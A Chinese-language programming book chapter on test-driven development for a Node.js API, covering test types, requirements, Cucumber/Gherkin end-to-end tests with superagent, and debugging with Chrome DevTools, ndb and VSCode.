在 第一章,良好代码的重要性中,我们讨论了测试的重要性,并简要概述了 测试驱动开发(TDD)的原则和高级流程。但理论和实践是两件非常不同的事情。在本章中,我们将通过首先编写 端到端(E2E)测试,然后使用它们来驱动我们 API 的开发来实践 TDD 方法。具体来说,我们将做以下几件事:
-
了解不同类型的测试
-
练习实现 TDD 工作流程,特别是遵循 红-绿-重构 循环
-
使用 Cucumber 和 Gherkin 编写端到端测试
理解不同类型的测试
首先,让我们了解不同类型的测试以及它们如何适应我们项目的流程。首先要注意的是,有些测试更侧重于技术,而有些则更侧重于业务;有些测试只关注整个系统的一个非常小的部分,而有些则测试整个系统。以下是您可能会遇到的最常见测试类型的简要概述:
-
单元测试:这些测试应用程序中最小的可测试部分,称为单元。例如,如果我们有一个名为
createUser
的函数,我们可以编写一个单元测试来测试该函数始终返回一个承诺。在单元测试中,我们只关心单元的功能,独立于外部依赖。如果单元有外部依赖,例如数据库,我们必须用伪造的客户端替换真实的数据库客户端。这个伪造客户端必须能够充分模拟数据库的行为,以便从被测试单元的角度来看,伪造的行为与真实的数据库相同。
我们将在稍后更详细地讨论伪造内容,但重要的是要记住,单元测试测试的是整个代码库中很小且特定的组件,使用最少的(或没有)依赖,并且不调用应用程序的其他部分(也就是说,没有副作用)。
-
集成测试:这些测试不同单元是否可以作为一个单一、更大的整体协同工作。以我们的例子继续,
createUser
函数可能依赖于Auth
模块来检查客户端是否有权限创建用户。我们可以创建一个测试用例,其中createUser
使用未认证的客户端调用,并断言该函数抛出错误。集成测试测试两个或多个单元之间的集成,并确保它们是兼容的。在我们的例子中,如果
Auth
模块更改其响应负载的数据结构,而我们忘记更新createUser
方法以消费这种新的数据结构,集成测试应该失败,提醒我们修复它。 -
端到端/功能测试:这些测试从开始到结束测试应用程序的流程,就像我们是最终消费者一样。在我们的例子中,我们会尝试通过向
/users
端点发送实际的POST
请求来创建新用户,因为这是我们的最终用户实际上与我们 API 交互的方式。调用后,我们会检查数据库以确保确实创建了一个用户文档,并且符合预期的数据结构。 -
用户界面(UI)测试:对于包含前端组件的应用程序,UI 测试是模拟真实用户与 UI 交互行为的自动化测试,例如滚动和点击。您可以使用通用的浏览器自动化工具,如Selenium(
www.seleniumhq.org/
),或者特定于框架的工具,如Enzyme(airbnb.io/enzyme/,用于 React 应用程序)。 -
手动测试:这些是无法自动化的测试。手动测试应尽量减少,因为它们不是确定性的,并且运行它们成本很高。除了捕获错误之外,手动测试还可以揭示不直观且/或对用户体验(UX)不利的场景。
-
验收测试:这些与其他已经概述的测试不同,因为它们更侧重于业务需求。它们是由业务利益相关者列出的一组业务需求(而不是功能需求),平台必须满足。例如,这样一个要求可能读作:“95%的所有访客必须在 3 秒内加载页面”。
这不是一个纯粹的技术要求,但它推动了将要做出的技术决策。例如,开发团队现在可能需要安装分析库来收集有关所有访客网站加载时间的数据,并将优化网站优先于开发新功能。
验收测试的部分可能以行为驱动开发(BDD)格式编写,这侧重于实际用户在与平台交互时可能采取的步骤。一个这样的要求可能读作:“给定一个用户已成功认证并且他正在产品页面上,当他点击“添加到购物车”按钮时,则该产品应添加到购物车”。然后,当这个要求通过自动化和/或手动测试得到验证时,它将通过验收测试。
将验收测试视为开发过程的最终阶段,此时业务利益相关者接受工作已完成。
使用测试金字塔结构化我们的测试套件
单元测试是测试的最细粒度形式,因为它针对的是项目可能达到的最小细节级别。单元测试让你对应用程序的非常小部分充满信心,但它们也是运行最快的,因为它们不依赖于其他模块、数据库、文件系统或网络。
因此,你可以设置你的单元测试,每次对代码进行更改时都运行;这将在你开发过程中提供及时反馈。
随着你转向集成测试和端到端测试,粒度会降低。这些测试让你对项目更大的一部分充满信心,但它们的运行速度也更慢。
因此,当我们设计测试套件时,我们应该在编写单元、集成和端到端测试之间找到一个平衡。在第一章《良好代码的重要性》中,我们简要提到了测试金字塔的概念;让我们在这里应用它,并确保我们的测试套件包含大量的单元测试、较少的集成测试和最少的端到端测试。
当实现新功能时,首先编写端到端测试。
对 TDD 和测试金字塔的常见误解是单元测试比端到端测试更重要,你应该首先编写单元测试。这是错误的。TDD 只要求你首先编写测试,但并没有指定你必须使用的测试类型。测试金字塔只是鼓励你平衡测试套件,使其包含更多细粒度的测试;它并没有指定测试的重要性或顺序。
事实上,当实现新功能时,端到端测试是最重要的测试,应该是在构建测试套件时首先编写的测试。端到端测试模拟了最终用户如何与项目交互,通常与业务需求相关。如果你的端到端测试通过,这意味着你正在开发的功能是正常工作的。
此外,通常在编写单元测试之前是不切实际的。单元测试关注的是实现细节,但实现一组功能的方式有很多种,我们的初始解决方案通常是不够标准的。它可能需要经过多次迭代才能变得稳定。由于单元测试与它们所测试的实现紧密耦合,当实现发生变化时,单元测试就会被丢弃。
因此,在实现新功能时,应该首先编写端到端测试;单元和集成测试应该在实现确定之后编写。
最后,端到端测试和单元测试并不是相互排斥的。例如,如果你正在编写一个导出为单个实用函数的库,那么你的端到端测试就是你的单元测试。
这是因为您的最终用户将直接与您的单元交互,使得端到端测试和单元测试变得相同。因此,始终牢记您的目标受众,并考虑他们将如何与您的项目互动。使用适当的测试类型来定义与最终消费者的合同/接口,并使用这些测试来推动您的开发。
由于我们正在开发新功能,本章将重点介绍端到端测试。单元和集成测试将在下一章,TDD Part II: 单元/集成测试中介绍;而使用 Selenium 的 UI 测试将在第十五章,使用 React 进行端到端测试中介绍。手动测试不可编程,因此在本节末尾只简要提及。
遵循 TDD 工作流程
接下来,让我们考察一个典型的 TDD 工作流程,看看不同类型的测试是如何融入其中的。
收集业务需求
TDD 工作流程从产品经理从业务利益相关者收集业务需求开始,然后与技术团队协商以细化这些需求,考虑可行性、成本和时间限制。
需求的范围应该小。如果应用程序很大,产品经理应该根据重要性和紧急性对需求进行优先级排序,并将它们分组到不同的阶段。第一阶段应包含最高优先级的需求,这些需求将首先实施。
这些需求应该定义明确且无歧义,以便没有(误解)的空间。这意味着它们应该尽可能地量化。例如,与其说“应用程序必须快速加载”,不如说“应用程序必须在 iPhone 5S 上在 1 秒内加载”。
其次,需求收集阶段应该是一个涉及许多团队的联合过程。开发者、设计师、产品经理和业务所有者都提供不同的专业知识和观点。通过允许每个人对范围、时间表和整体业务战略提供反馈,这可以帮助团队设定现实的目标并避免常见的陷阱。
通过文档正式化需求
一旦每个人都同意当前阶段的需求,正式记录它们就非常重要。当所有相关人员都理解了需求时,他们往往会觉得没有必要写下它们;毕竟,这是一项无聊的任务,没有人愿意做。有人甚至可能会争辩说,这无必要地减缓了开发进度。然而,我们必须抵制这种诱惑,并保持纪律,因为以下原因:
-
人们记忆力不好:我曾在一篇在线讨论中读到一条半开玩笑的评论说“好的程序员有好的细节记忆。伟大的程序员有好的整体记忆。传奇程序员根本就没有记忆。”不要依赖你的记忆——写下需求!
-
这可以防止误解。
-
规范化的需求提供了一个 单一事实来源 (SSoT):在开发过程中,变化往往是唯一的不变因素。需求的变化是不可避免的。99%的需求变更问题在于没有与所有人沟通这一变化,导致不同的团队成员拥有不同、可能冲突的需求快照。通过拥有一个充当 SSoT 的单个文档,我们可以确保每个人都能访问最新的、并且是相同的信息。
-
规范化的需求可以改进:如果有模糊不清的地方,可以修订需求的语言使其更加明确。如果有人遗漏了重要的点,他们可以添加作为附录。
最后,只有当规范保持最新时,一套正式的需求才有帮助。非常重要的一点是,应该指定一个人负责维护需求文档。否则,每个人都可能认为其他人会更新它,但最终没有人去做。过时的需求可能比没有需求更糟,如果旧版本与最新版本冲突。
然而,这并不意味着负责人必须亲自更新文档;他/她可以指派更适合的人来完成这项任务。但关键是,最终,他/她的责任是确保需求是最新的。
将需求细化成规范
需求概述了业务希望应用实现的高级目标,但它没有足够的细节让开发者立即开始实施。需求是不精确的,并且不容易转换为代码,而代码是非常明确的。
相反,开发者需要理解整体业务目标,当前的需求集合,并生成一套更详细的技术规范。规范应包含开发者开始实施所需的足够技术细节。
在我们的案例中,项目的整体目标是“创建一个允许用户登录并更新其配置文件的 Web 应用程序”;第一个需求可能是“创建一个具有创建新用户端点的 API 服务器”。你现在应该考虑如何构建应用程序。例如,你可能将应用程序拆分为以下模块:
-
身份验证:允许用户注册和登录
-
配置文件:允许用户编辑自己的配置文件并查看他人的配置文件
-
数据库(s):用于存储用户数据
-
API 服务器:我们内部服务和外部消费者之间的接口
在心中牢记应用程序的结构后,我们现在可以继续编写规范。正如我们在第一章中提到的,“良好代码的重要性”,最好的规范是测试,所以让我们编写一些测试吧!
将测试作为规范编写
测试是最佳规范形式,因为:
-
测试可以运行,这意味着你可以通过编程方式验证你的实现是否符合规范。如果测试通过,则你的实现符合规范。
-
测试是代码的组成部分(即规范即代码(SaC))。规范变得过时的可能性较小,因为如果它确实如此,测试就会失败。
因此,我们可以将我们的技术规范编写为端到端测试,这随后推动 TDD 开发过程。
记住,单个开发者很难能够想出一套详尽的场景和边缘情况来测试;我们注定会错过一些。这就是为什么测试和代码需要由多个人检查很重要。这可能涉及以对的形式编写测试描述,实施涉及项目内外开发者的代码审查工作流程。这样做最大化了测试的价值,并确保它们覆盖了最相关的边缘情况。
测试驱动开发
一旦为我们的选定功能编写了第一个端到端测试,就可以开始 TDD 过程。我们现在应该运行测试,看到它失败,实现功能使其通过测试,然后进行重构。在适当的情况下,应该编写单元和集成测试,以增加对代码的信心。
对每个测试用例重复此过程,直到当前功能集完全实现。
编写手动测试
在我们开发功能时,产品经理也应该定义手动测试。需要手动测试,因为并非所有需求都可以自动化,有些可能需要真实用户数据(例如,可用性测试)。例如,验收标准的一部分可能是“95%的用户能在 5 秒内找到设置页面”。在这些情况下,需要进行手动测试。
虽然我们无法自动化此过程,但我们可以用一种结构化的方式将其形式化。我们不是在文本文档中写下需求,而是可以使用测试用例管理工具,例如 TestLink (testlink.org),以及专有替代品,如 TestRail (gurock.com/testrail/)、qTest (qasymphony.com/software-testing-tools/qtest-manager/)、Helix TCM (perforce.com/products/helix-test-case-management)、Hiptest (hiptest.net)、PractiTest (practitest.com)等。这些测试用例管理系统帮助您定义、运行和记录测试用例。
每个测试都应该包含一组清晰、无歧义的步骤。一组测试人员,理想情况下,对该平台没有先前的了解,然后会被提供指令、预期结果,并询问是否获得的结果与预期相符。
探索性测试
最后,你可以简单地要求手动测试人员探索应用程序,或者自行探索 API,而不需要给他们任何要遵循的步骤。这被称为探索性测试,可以归类于手动测试。探索性测试的目的是识别遗漏的边缘情况,识别不直观的结果,或者找到可能破坏系统的错误。
维护
不可避免的是,所有应用程序,无论测试得多好,都会存在错误和改进的区域。任何工作流程的一个基本部分是允许用户报告错误、提出问题和提问。作为这一点的扩展,我们还需要一个系统来对这些问题进行分类,根据以下标准进行优先级排序:
-
影响:有多少用户受到影响?这些用户有多重要?
-
易用性:修复这个问题有多容易?
-
紧急程度:这个问题的时间敏感性如何?
这可以通过 GitHub 的问题跟踪器、Atlassian 的 JIRA 或类似软件等平台来完成。
当有错误报告时,应该重现并确认。一旦确认,应该编写覆盖该场景的测试用例,以防止未来出现回归。例如,如果错误是age
字段返回浮点数,则应该编写一个测试用例来测试age
字段始终是正整数。
收集需求
现在我们已经了解了工作流程,让我们将其付诸实践!
我们首先选择我们应用程序的一小部分,并定义其需求。我们选择了创建用户功能,因为许多其他功能都依赖于它。具体来说,该功能要求我们创建一个接受POST
请求的 API 端点/users
,并将请求的 JSON 负载(表示用户)存储到数据库中。此外,还应应用以下约束:
-
用户负载必须包括电子邮件地址和密码字段
-
用户负载可以可选地提供一个配置文件对象;否则,将为他们创建一个空配置文件。
现在我们有了需求,让我们使用名为Cucumber的工具编写我们的规范作为端到端测试。
使用 Cucumber 设置端到端测试
Cucumber 是一个自动化测试执行器,它执行用称为Gherkin的领域特定语言(DSL)编写的测试。Gherkin 允许你用普通语言编写测试,通常是以行为驱动的方式,这样任何人都可以阅读和理解,即使他们不是技术型的人。
Cucumber 有针对不同语言和平台的许多实现,例如 Ruby、Java、Python、C++、PHP、Groovy、Lua、Clojure、.NET,当然还有 JavaScript。JavaScript 实现作为一个 npm 包可用,所以让我们将其添加到我们的项目中:
$ yarn add cucumber --dev
我们现在可以开始编写我们第一个功能的规范了。
功能、场景和步骤
要使用 Cucumber,你首先将你的平台分成多个 特性;然后,在特性内部,你将定义用于测试的 场景。对我们来说,我们可以将“创建用户”需求作为一个特性,并开始将其分解为场景,从以下内容开始:
-
如果客户端向
/users
发送一个空负载的POST
请求,我们的 API 应该响应一个400 Bad Request
HTTP 状态码,并包含适当错误信息的 JSON 对象负载。 -
如果客户端向
/users
发送一个非 JSON 负载的POST
请求,我们的 API 应该响应一个415 不支持媒体类型
HTTP 状态码,并包含适当错误信息的 JSON 响应负载。 -
如果客户端向
/users
发送一个格式错误的 JSON 负载的POST
请求,我们的 API 应该响应一个400 Bad Request
HTTP 状态码,并包含适当错误信息的 JSON 响应负载。
我们将在稍后定义更多场景,但让我们先关注这三个,以便我们开始。
每个特性都应该使用 Gherkin 语言在其自己的 .feature
文件中定义。所以,我们现在就创建一个。
$ cd <project-root-dir>
$ mkdir -p spec/cucumber/features/users/create
$ touch spec/cucumber/features/users/create/main.feature
现在,让我们将我们的创建用户特性中的场景翻译成 Gherkin。
Gherkin 关键词
在 Gherkin 中,每行非空行都以一个 Gherkin 关键词 开头(尽管有几个常见的例外)。当我们使用它们时,我们将更详细地介绍相关关键词,但以下是每个关键词及其用法的简要概述:
-
Feature
: 指定特性的名称和描述。特性只是将相关的场景分组在一起的一种方式。 -
Scenario
: 指定场景的名称和描述。 -
Given
,When
,Then
,And
,But
: 每个场景由一个或多个 步骤 组成,每个步骤对应一个将由 Cucumber 执行的 JavaScript 函数。如果在执行所有步骤后没有抛出错误,则测试被认为已通过。这五个步骤关键词是等效的;你应该使用使你的测试最易读的那个。 -
Background
: 允许你设置一个公共环境来执行所有场景。这可以节省你为所有场景定义重复的设置步骤。 -
Scenario Outline
: 允许你为具有某些值差异的多个场景定义一个模板。这可以防止指定许多非常相似的场景/步骤。 -
Examples
: 当使用场景概述时,Examples
关键词允许你指定要插入到场景概述中的值。 -
"""
: 允许你使用 文档字符串 来指定多行字符串作为参数。 -
|
: 允许你指定更复杂的数据表作为参数。 -
@
: 允许你使用 标签 将相关的场景分组在一起。在标记场景之后,你可以指示 Cucumber 仅执行具有特定标签的场景,或者相反,排除具有特定标签的测试。 -
#
: 允许你指定注释,这些注释将由 Cucumber 跳过执行。
如果你正在使用 Visual Studio Code (VSCode),我们建议你安装名为Cucumber (Gherkin) Full Support的 VSCode 扩展(github.com/alexkrechik/VSCucumberAutoComplete),它提供语法高亮和代码片段支持。
指定我们的特性
因此,让我们通过向spec/cucumber/features/users/create/main.feature
添加一个名称和描述来开始定义我们的特性:
Feature: Create User
Clients should be able to send a request to our API in order to create a
user. Our API should also validate the structure of the payload and respond
with an error if it is invalid.
编写我们的第一个场景
接下来,我们将编写我们的第一个场景和步骤。作为提醒,场景是:“如果客户端向/users
发送一个空的POST
请求,我们的 API 应该响应一个400 Bad Request
HTTP 状态码,并包含一个适当的错误信息的 JSON 对象负载”。
Feature: Create User
Clients should be able to send a request to our API in order to create a
user. Our API should also validate the structure of the payload and respond
with an error if it is invalid.
Scenario: Empty Payload
If the client sends a POST request to /users with a unsupported payload, it
should receive a response with a 4xx status code.
When the client creates a POST request to /users
And attaches a generic empty payload
And sends the request
Then our API should respond with a 400 HTTP status code
And the payload of the response should be a JSON object
And contains a message property which says "Payload should not be empty"
我们将场景分解成称为步骤的模块化单元,并在其前面加上 Gherkin 关键字。在这里,我们使用了关键字When
、Then
和And
,尽管我们可以使用任何五个关键字中的任何一个;我们选择这些是因为它使规范更易于阅读。
通常,你可以将步骤分为三类:
-
设置:用于在执行动作之前设置环境。通常,你会使用
Given
关键字来定义设置步骤。 -
动作:用于执行动作,这通常是我们要测试的事件。你通常会使用
When
关键字来定义动作步骤。 -
断言:用于断言动作的实际结果是否与预期结果相同。通常,你会使用
Then
关键字来定义断言步骤。
此外,你可以使用And
和But
关键字将多个步骤链接在一起,使规范更易于阅读。但请记住,所有步骤关键字在功能上是等效的。
布局我们的步骤定义
在 Gherkin 的帮助下,我们现在已经用纯英语编写了规范。接下来,让我们尝试使用 Cucumber 来运行我们的规范。
默认情况下,Cucumber 将在项目的根目录中查找名为features
的目录,并运行它里面找到的.feature
文件。由于我们将main.feature
文件放置在spec/cucumber/features
目录中,我们应该将此路径传递给 Cucumber:
$ npx cucumber-js spec/cucumber/features
UUUUUU
Warnings:
1) Scenario: Empty Payload
? When the client creates a POST request to /users
Undefined.
? And attaches a generic empty payload
Undefined.
? And sends the request
Undefined.
? Then our API should respond with a 400 HTTP status code
Undefined.
? And the payload of the response should be a JSON object
Undefined.
? And contains a message property which says "Payload should not be
empty"
Undefined.
1 scenario (1 undefined)
6 steps (6 undefined)
测试结果告诉我们,我们的测试是未定义的。这是因为 Cucumber 还不够聪明,无法解析纯文本规范并找出如何运行这些测试。我们必须将这些步骤链接到实际的 JavaScript 代码,在 Cucumber 的上下文中,这些代码被称为步骤定义。
在features
目录旁边创建一个名为steps
的新目录;这是我们定义所有步骤定义的地方:
$ mkdir -p spec/cucumber/steps
在它们自己的目录中定义步骤有助于我们心理上将步骤与任何特定特性分离,并尽可能保持步骤的模块化。在steps
目录中创建一个名为index.js
的文件,并添加以下占位符步骤定义:
import { When, Then } from 'cucumber';
When('the client creates a POST request to /users', function (callback) {
callback(null, 'pending');
});
When('attaches a generic empty payload', function (callback) {
callback(null, 'pending');
});
When('sends the request', function (callback) {
callback(null, 'pending');
});
Then('our API should respond with a 400 HTTP status code', function (callback) {
callback(null, 'pending');
});
Then('the payload of the response should be a JSON object', function (callback) {
callback(null, 'pending');
});
Then('contains a message property which says "Payload should not be empty"', function (callback) {
callback(null, 'pending');
});
如果你已经在你的编辑器上安装了 ESLint 扩展,你可能会看到 ESLint 对箭头函数和函数名提出抱怨。通常,这些问题是有效的,但在这个测试文件中并不是这样。因此,我们应该覆盖默认配置并关闭这些规则。
在spec/
目录内,创建一个新的.eslintrc.json
文件,并粘贴以下内容:
{
"rules": {
"func-names": "off",
"prefer-arrow-callback": "off"
}
}
这将关闭spec/
目录内所有文件的func-names
和prefer-arrow-callback
规则。
每个步骤定义由步骤关键字方法(When
/Then
等)组成,它接受两个参数。第一个参数是模式,它是一个字符串,用于将特性规范中的文本与步骤定义相匹配。第二个参数是代码函数,它是一个为该步骤运行的函数。
在我们的例子中,当 Cucumber 到达我们的场景中的When the client creates a POST request to /users
步骤时,它会尝试运行与When('the client creates a POST request to /users')
步骤定义相关联的函数,因为模式与步骤描述匹配。
运行我们的场景
在我们实现每个步骤定义背后的逻辑之前,让我们确保我们的设置是正常工作的。默认情况下,Cucumber 会在根级别的features/
目录内寻找步骤定义;由于我们将定义放在了不同的目录,我们必须使用--require
标志告诉 Cucumber 在哪里找到它们。
运行npx cucumber-js spec/cucumber/features --require spec/cucumber/steps
以触发测试:
$ npx cucumber-js spec/cucumber/features --require spec/cucumber/steps
spec/cucumber/steps/index.js:1
(function (exports, require, module, __filename, __dirname) { import { Given, When, Then } from 'cucumber';
^^^^^^
SyntaxError: Unexpected token import
它返回一个SyntaxError: Unexpected token import
错误。这是因为我们没有在运行代码之前使用 Babel 进行代码转换,因此import
ES6 关键字不受支持。这就是@babel/register
包有用的地方:它允许我们指示 Cucumber 在运行步骤定义之前使用 Babel 作为编译器来处理我们的步骤定义。
首先,让我们将@babel/register
包安装为开发依赖项:
$ yarn add @babel/register --dev
现在,我们可以再次使用带有--require-module
标志的cucumber-js
运行,它应该能够找到并运行我们的步骤定义:
$ npx cucumber-js spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps
P-----
Warnings:
1) Scenario: Empty Payload
? When the client creates a POST request to /users
Pending
- And attaches a generic empty payload
- And sends the request
- Then our API should respond with a 400 HTTP status code
- And the payload of the response should be a JSON object
- And contains a message property which says "Payload should not be empty"
1 scenario (1 pending)
6 steps (1 pending, 5 skipped)
在幕后,Cucumber 会首先执行所有的步骤定义函数(When
和Then
等),注册代码函数,并将其与相应的模式关联。然后,它将解析并运行特性文件,尝试将字符串与已注册的步骤定义相匹配。
在这里,测试结果显示为pending
,因为我们还没有为每个步骤定义实现代码函数,这将在下一节中完成。但在那之前,让我们首先将我们的端到端测试命令正式化为一个 npm 脚本,以节省我们所有的输入:
"test:e2e": "cucumber-js spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps",
现在我们已经为运行端到端测试设置了基础设施,现在是时候提交我们的代码了。首先,让我们创建dev
分支:
$ git branch dev
然后,检查新的特性分支create-user/main
,并将我们的更改提交到仓库:
$ git checkout -b create-user/main
$ git add -A
$ git commit -m "Set up infrastructure for Cucumber E2E tests"
实现步骤定义
要测试我们的 API 服务器,我们需要运行服务器本身并向其发送 HTTP 请求。在 Node.js 中发送请求有许多方法:
-
使用 Node 的本地
http
模块提供的request
方法。 -
使用新的 Fetch Web API 语法:
fetch
是对传统用于从客户端发起 AJAX(Asynchronous JavaScript And XML)请求的XMLHttpRequest
的改进。我们可以使用 polyfills,例如isomorphic-fetch
(www.npmjs.com/package/isomorphic-fetch
),这将允许我们在服务器上使用相同的语法。 -
使用库,例如
request
(www.npmjs.com/package/request
)、superagent
(npmjs.com/package/superagent)、axios
(npmjs.com/package/axios)以及更多。
使用本地的 http
模块允许我们尽可能地进行表达,因为它在最低级别的 API 层面上工作;然而,这也意味着代码可能很冗长。使用 Fetch API 可能会提供更简单的语法,但它仍然会有很多样板代码。例如,当我们收到响应时,我们必须明确告诉我们的代码我们希望如何解析它。
对于我们的用例,使用库可能是最合适的。库更具有意见导向,但它们也节省了你重复编写相同代码的时间;例如,在大多数库中,响应负载会自动解析。在所有可用的库中,我发现 superagent
对于我们的测试是最合适的,因为它允许你通过链式多个步骤来组合请求。为了演示,以下是在 superagent
的 README.md
文件中给出的示例:
request
.post('/api/pet')
.send({ name: 'Manny', species: 'cat' }) // sends a JSON post body
.set('X-API-Key', 'foobar')
.set('accept', 'json')
.end((err, res) => {
// Calling the end function will send the request
});
这允许我们在一开始就启动一个请求对象,并且我们场景中的每个步骤都可以简单地修改该对象,共同组成我们发送到测试 API 服务器的最终请求。现在,让我们不耽搁,安装 superagent
:
$ yarn add superagent --dev
调用我们的端点
对于对服务器的第一次调用,我们将其分解为三个步骤:
-
当客户端创建一个 POST 请求到 /users
-
附加一个通用的空负载
-
发送请求
在第一步中,我们将创建一个新的请求对象并将其保存为一个文件作用域的变量,使其在后续步骤中可访问。在第二步中,我们将向请求附加一个空的负载;然而,这已经是 superagent
的默认行为,因此我们可以简单地从函数中 return
而不进行任何操作。在第三步中,我们将发送请求并将响应保存到另一个变量中。
你现在应该将 spec/cucumber/steps/index.js
文件的开头更新为以下片段:
import superagent from 'superagent';
import { When, Then } from 'cucumber';
let request;
let result;
let error;
When('the client creates a POST request to /users', function () {
request = superagent('POST', 'localhost:8080/users');
});
When('attaches a generic empty payload', function () {
return undefined;
});
When('sends the request', function (callback) {
request
.then((response) => {
result = response.res;
callback();
})
.catch((errResponse) => {
error = errResponse.response;
callback();
});
});
我们的第三个步骤定义涉及向服务器发送请求并等待响应;这是一个异步操作。为了确保在异步操作完成之前不会运行下一个步骤,我们可以将一个callback
函数传递给代码函数作为最后一个参数。Cucumber 将在callback
函数被调用之前等待,然后继续到下一个步骤。在这里,我们只在结果返回并将它保存到result
变量之后执行callback
。
现在,当我们再次运行我们的端到端测试时,前三个步骤应该通过。
$ yarn run test:e2e
...P--
Warnings:
1) Scenario: Empty Payload
 When the client creates a POST request to /users
 And attaches a generic empty payload
 And sends the request
? Then our API should respond with a 400 HTTP status code
- And the payload of the response should be a JSON object - And contains a message property which says "Payload should not be empty"
1 scenario (1 pending)
6 steps (1 pending, 2 skipped, 3 passed)
断言结果
现在,让我们继续到我们的下一个步骤定义,这是一个断言步骤。在那里,我们应该断言来自我们服务器的响应应该有一个400
HTTP 状态码:
Then('our API should respond with a 400 HTTP status code', function () {
if (error.statusCode !== 400) {
throw new Error();
}
});
现在,随着我们的 API 服务器在后台运行,再次运行我们的端到端测试。你应该看到第二步的结果从pending
变为failed
:
$ yarn run test:e2e
...F--
Failures:
1) Scenario: Empty Payload
 When the client creates a POST request to /users
 And attaches a generic empty payload
And sends the request
Then our API should respond with a 400 HTTP status code
{}
Error
at World.<anonymous> (spec/cucumber/steps/index.js:28:11)
- And the payload of the response should be a JSON object
- And contains a message property which says "Payload should not be empty"
1 scenario (1 failed)
6 steps (1 failed, 2 skipped, 3 passed)
它失败了,因为我们的 API 目前总是返回带有 HTTP 状态码200
的Hello World
字符串,无论请求是什么。但这没有什么好担心的!编写失败的测试是 TDD 工作流程的第一步;现在,我们只需要编写足够的代码来使测试通过。
要使我们的第四步通过,我们必须检查requestHandler
函数中req
对象的方法和路径,如果分别匹配POST
和/users
,我们将返回一个400
响应。
但我们如何知道req
对象的结构呢?我们可以使用console.log
将其打印到控制台,但req
和res
等对象的结构复杂,输出将难以阅读。相反,我们应该使用调试器。
使用调试器进行 Node.js 调试
调试器是一种工具,它允许我们在特定的断点处暂停代码的执行,并检查在那个范围内可访问的任何变量。对我们来说,我们希望在服务器的requestHandler
方法内部暂停执行,以便我们能够检查req
对象。
使用 Chrome DevTools
所有现代浏览器都内置了调试器。Firefox 有 Firebug,Chrome 有 Chrome DevTools:
Chrome 中的调试器位于 Chrome DevTools 的“源”选项卡下。我们在第 3 行设置了一个断点,我们的脚本在那里暂停。在暂停时,我们可以访问作用域内的变量,包括局部和全局作用域,以及由于闭包而可用的作用域。它还列出了我们所有的断点,这样我们就可以轻松地激活/停用它们。
要使用 Chrome DevTools 进行 Node.js 调试,只需在运行node
时传递--inspect
标志,然后在 Chrome 中导航到chrome://inspect/#devices
,并点击打开 Node 的专用 DevTools 链接,这将在一个新窗口中打开调试器。
使用 ndb
2018 年 7 月 22 日,Google 发布了 ndb (github.com/GoogleChromeLabs/ndb
),这是一个基于 Chrome DevTools 的“改进”调试器,并使用 Puppeteer (github.com/GoogleChrome/puppeteer) 通过 DevTools Protocol 与 Chromium 交互。它至少需要 Node.js v8.0.0。
你可以通过本地安装来尝试它:
$ yarn add ndb --dev
在 Windows 上,你可能还必须安装 windows-build-tools
包以编译原生依赖项:
$ yarn global add windows-build-tools
然后,你可以使用 npx
运行 ndb
二进制文件,并将弹出一个新窗口:
ndb 内置了自己的集成终端,它将连接到你从它运行的任何 node 进程。
虽然使用 Chrome DevTools 和/或 ndb 提供了几个独特的优势,例如控制台、内存和配置文件标签页的可用性,但我仍然建议使用你 IDE 或代码编辑器自带的调试器,仅仅是因为在切换不同工具时,上下文切换更少。
我建议使用 Visual Studio Code 作为 JavaScript 项目的代码编辑器,因此我们将使用 VSCode 编辑器来展示我们的工作流程;然而,你仍然可以自由使用你选择的 IDE 或编辑器。
使用 Visual Studio Code 调试器
在 VSCode 中打开 src/index.js
。如果你将鼠标悬停在行号左侧,你会看到一些小的、暗淡的红色圆圈出现;你可以点击圆圈在该行设置断点。这意味着每当脚本执行并到达该行时,它将暂停在那里。这允许我们检查在那个点作用域内可用的变量。请设置第 5 行的断点。
你还可以使用 debugger
语句,它具有与设置断点完全相同的效果。唯一的区别是,debugger
语句现在将是代码的一部分,这通常不是你想要的:
const requestHandler = function (req, res) {
debugger;
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello, World!');
}
在设置断点后,转到你的编辑器中的调试器标签页。点击开始调试按钮(通常看起来像“播放”按钮:►);这将执行当前文件:
调试器抛出错误,因为它不识别 ES6 模块的 import
语法。这是因为我们直接在源文件上运行调试器,而不是在 Babel 生成的编译文件上。要指示 VSCode 处理模块,我们可以做以下两件事之一:
-
安装
@babel/node
包,并指示 VSCode 使用babel-node
执行我们的文件。 -
指示 VSCode 在运行 Node 时添加
--experimental-modules
标志。这自 Node v8.5.0 版本以来已被支持。
要执行这些操作中的任何一个,我们需要向 VSCode 调试器添加配置。VSCode 中的配置定义为 launch.json
文件内的 JSON 对象。要编辑 launch.json
文件,点击顶部附近的齿轮按钮 ()。然后,粘贴以下 JSON 对象,它将为我们提供之前提到的所有配置,以及一个以正常方式运行程序的选择:
{
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Node",
"program": "${file}",
"protocol": "inspector"
},
{
"name": "Babel Node",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/babel-
node",
"runtimeArgs": [
"--presets",
"@babel/env"
],
"program": "${file}",
"protocol": "inspector"
},
{
"name": "Node with Experimental Modules",
"type": "node",
"request": "launch",
"runtimeExecutable": "~/.nvm/versions/node/v8.11.4/bin/node",
"runtimeArgs": [
"--experimental-modules"
],
"program": "${file}",
"protocol": "inspector"
}
],
"compounds": []
}
现在,也请记得将 @babel/node
包作为开发依赖项安装:
$ yarn add @babel/node --dev
保留行号
要使用 babel-node
与 VSCode 调试器一起使用,我们还需要在 Babel 中启用 retainLines
选项,以保留源代码和构建文件之间的行号。如果我们不这样做,VSCode 的调试器会在错误的行设置断点。
然而,我们只想在调试代码时保留行号;当我们构建应用程序时,我们希望它有合理的格式。为此,我们可以更新我们的 .babelrc
,以便仅在 BABEL_ENV
环境变量设置为 "debug"
时应用 retainLines
选项:
{
"presets": [
["@babel/env", {
"targets": {
"node": "current"
}
}]
],
"env": {
"debug": {
"retainLines": true
}
}
}
然后,再次打开 launch.json
文件,并将以下内容添加到 Babel Node 配置中:
{
"name": "Babel Node",
"type": "node",
...
...
"protocol": "inspector",
"env": {
"BABEL_ENV": "debug"
}
},
检查 req 对象
现在,停止你的 API 服务器(如果你正在运行它),回到 src/index.js
,打开调试面板,选择我们刚才定义的两个配置之一,然后点击开始调试按钮(►)。这次,你应该看到它成功:
如果你在下拉菜单中看不到配置,请尝试关闭并重新启动 Visual Studio Code。
